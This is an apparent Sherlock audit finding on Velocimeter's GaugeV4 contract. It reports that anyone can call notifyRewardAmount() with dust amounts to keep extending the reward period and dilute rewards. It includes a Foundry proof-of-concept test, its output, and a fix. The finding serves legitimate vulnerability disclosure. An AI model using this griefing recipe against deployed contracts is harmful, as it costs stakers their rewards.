Macho Pine Lemur

Medium

# Griefing Attack By Extending The Reward Duration with Dust Token Amounts

## Summary

Extending the reward duration inside the  `Gaugev4` contract is possible using `notifyRewardAmount()` with dust amounts

## Vulnerability Detail

The `notifyRewardAmount()` inside the `Gaugev4` contract notifies the contract of newly received rewards. This updates the local accounting and streams the reward over a preset period.

```Solidity
    function notifyRewardAmount(address token, uint amount) external lock {
        require(token != stake);
        require(amount > 0);
        if (!isReward[token]) {
            require(IVoter(voter).isWhitelisted(token), "rewards tokens must be whitelisted");
            require(rewards.length < MAX_REWARD_TOKENS, "too many rewards tokens");
        }
        if (rewardRate[token] == 0) _writeRewardPerTokenCheckpoint(token, 0, block.timestamp);
        (rewardPerTokenStored[token], lastUpdateTime[token]) = _updateRewardPerToken(token, type(uint).max, true);

        if (block.timestamp >= periodFinish[token]) {
            uint256 balanceBefore = IERC20(token).balanceOf(address(this));
            _safeTransferFrom(token, msg.sender, address(this), amount);
            uint256 balanceAfter = IERC20(token).balanceOf(address(this));
            amount = balanceAfter - balanceBefore;
            rewardRate[token] = amount / DURATION;
        } else {
            uint _remaining = periodFinish[token] - block.timestamp;
            uint _left = _remaining * rewardRate[token];
            require(amount > _left); 
            uint256 balanceBefore = IERC20(token).balanceOf(address(this));
            _safeTransferFrom(token, msg.sender, address(this), amount);
            uint256 balanceAfter = IERC20(token).balanceOf(address(this));
            amount = balanceAfter - balanceBefore;
            rewardRate[token] = (amount + _left) / DURATION;
        }
        require(rewardRate[token] > 0);
        uint balance = IERC20(token).balanceOf(address(this));
        require(rewardRate[token] <= balance / DURATION, "Provided reward too high");
        periodFinish[token] = block.timestamp + DURATION;
        if (!isReward[token]) {
            isReward[token] = true;
            rewards.push(token);
        }

        emit NotifyReward(msg.sender, token, amount);
    }
```

It was observed that this function is callable by anyone regardless of whether the previous reward period has already expired or not. 
Thus, it would be possible to exploit the system by repeatedly calling it with **dust** reward amount to extend an active reward period, and thus dragging out the duration over which the rewards are released.

Since the Velocimeter protocol is intended to be deployed on IOTA EVM or other EVM-compatible chains, where the gas fee tends to be cheap, and maybe on other EVM compatible chains, but not on mainnet, 
the effort required to carry out this attack would be minimal.

By the current design, the period could be extended, causing a dilution of the reward rate. Due to this issue, the impact can cause a loss of rewards, and thus the medium Severity is appropriate.

## Impact

Dilution of reward rate and this will lead to loss of rewards.

## Proof of Concept

Consider adding this test to GaugeV4.t.sol:

```Solidity
    function testNotifyRewardWithDustAmounts() public {
        // Simulate deposits by Alice and Bob
        deal(address(flowDaiPair), address(owner), 1000 ether);
        deal(address(FLOW), address(owner), 1000 ether);
        vm.warp(1720838400); // July 12, 2024, 00:00:00 GMT+0000
        vm.startPrank(address(owner));
        flowDaiPair.approve(address(this), type(uint256).max);
        flowDaiPair.approve(address(gauge), type(uint256).max);
        gauge.depositFor(address(owner), 1000 * 1e18);
        FLOW.transfer(address(gauge), 0.01 ether); // initial balance
        vm.stopPrank();

        // Admin notifies reward amount
        vm.warp(1720847200);
        address attacker = vm.addr(1000);
        deal(address(FLOW), address(attacker), 10 ether);
        vm.startPrank(attacker);
        FLOW.approve(address(this), type(uint256).max);
        FLOW.approve(address(gauge), type(uint256).max);
        gauge.notifyRewardAmount(address(FLOW), 0.0001 ether);
        vm.stopPrank();

        uint256 currentPeriodFinish = gauge.periodFinish(address(FLOW));
        console2.log("Period Finish Time is: ", currentPeriodFinish);
        console2.log("----------------------------------------");

        vm.warp(block.timestamp + 7 days + 1);
        vm.startPrank(attacker);
        FLOW.approve(address(this), type(uint256).max);
        FLOW.approve(address(gauge), type(uint256).max);
        gauge.notifyRewardAmount(address(FLOW), 0.0001 ether);
        vm.stopPrank();

        currentPeriodFinish = gauge.periodFinish(address(FLOW));
        console2.log("Period Finish Time is: ", currentPeriodFinish);
        console2.log("----------------------------------------");

        vm.warp(block.timestamp + 7 days + 1);
        vm.startPrank(attacker);
        FLOW.approve(address(this), type(uint256).max);
        FLOW.approve(address(gauge), type(uint256).max);
        gauge.notifyRewardAmount(address(FLOW), 0.0001 ether);
        vm.stopPrank();

        currentPeriodFinish = gauge.periodFinish(address(FLOW));
        console2.log("Period Finish Time is: ", currentPeriodFinish);
        console2.log("----------------------------------------");

    }
```

output for this test:

```Markdown
[PASS] testNotifyRewardWithDustAmounts() (gas: 1008253)
Logs:
  Period Finish Time is:  1721452000
  ----------------------------------------
  Period Finish Time is:  1722056801
  ----------------------------------------
  Period Finish Time is:  1722661602
  ----------------------------------------

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 13.45ms
```

## Code Snippet

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/GaugeV4.sol#L563

## Tool used

Manual Review

## Recommendation

Consider implementing validation to ensure that this function is callable by anyone only if the previous reward period has already expired. 
Otherwise, when there is an active reward period, it may only be called by the designated reward distributor account.